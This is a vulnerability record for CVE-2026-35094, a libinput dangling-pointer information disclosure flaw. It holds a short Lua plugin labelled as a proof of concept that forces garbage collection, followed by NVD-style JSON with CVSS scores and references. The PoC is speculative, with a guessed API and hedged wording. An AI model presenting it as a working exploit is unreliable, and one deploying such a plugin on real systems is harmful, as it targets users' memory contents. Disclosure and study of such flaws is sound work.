CVE-2026-35094

-- PoC for CVE-2026-35094: libinput Information Disclosure -- This Lua plugin is designed to trigger garbage collection, -- potentially causing a dangling pointer to be printed to logs. function handle_event(event) -- Create a dummy object to occupy memory local data = "Sensitive_Info_" .. math.random(1000) -- Force garbage collection to trigger the cleanup function -- This may trigger the dangling pointer issue in libinput collectgarbage("collect") -- Return success to ensure the plugin continues running return true end -- Register the handler (syntax depends on libinput Lua API) -- libinput.set_event_handler(handle_event)

{"cve": {"id": "CVE-2026-35094", "sourceIdentifier": "[email protected]", "published": "2026-04-01T14:16:57.637", "lastModified": "2026-04-07T16:25:48.663", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw was found in libinput. An attacker capable of deploying a Lua plugin file in specific system directories can exploit a dangling pointer vulnerability. This occurs when a garbage collection cleanup function is called, leaving a pointer that can then be printed to system logs. This could potentially expose sensitive data if the memory location is re-used, leading to information disclosure. For this exploit to work, Lua plugins must be enabled in libinput and loaded by the compositor."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 3.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-825"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:freedesktop:libinput:-:*:*:*:*:*:*:*", "matchCriteriaId": "1361BCB2-9424-4B4C-A7EC-2AA611F0EF0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fedoraproject:fedora:43:*:*:*:*:*:*:*", "matchCriteriaId": "E1D1BBE5-0886-4D95-9862-16A4C316F70A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:fedoraproject:fedora:44:*:*:*:*:*:*:*", "matchCriteriaId": "DD1E6B15-C7BF-47E1-8034-501385D7B7DD"}]}]}], "references": [{"url": "https://access.redhat.com/security/cve/CVE-2026-35094", "source": "[email protected]", "tags": ["VDB Entry", "Third Party Advisory"]}, {"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2453840", "source": "[email protected]", "tags": ["Issue Tracking", "Third Party Advisory"]}, {"url": "https://gitlab.freedesktop.org/libinput/libinput/-/work_items/1272", "source": "[email protected]", "tags": ["Broken Link"]}]}}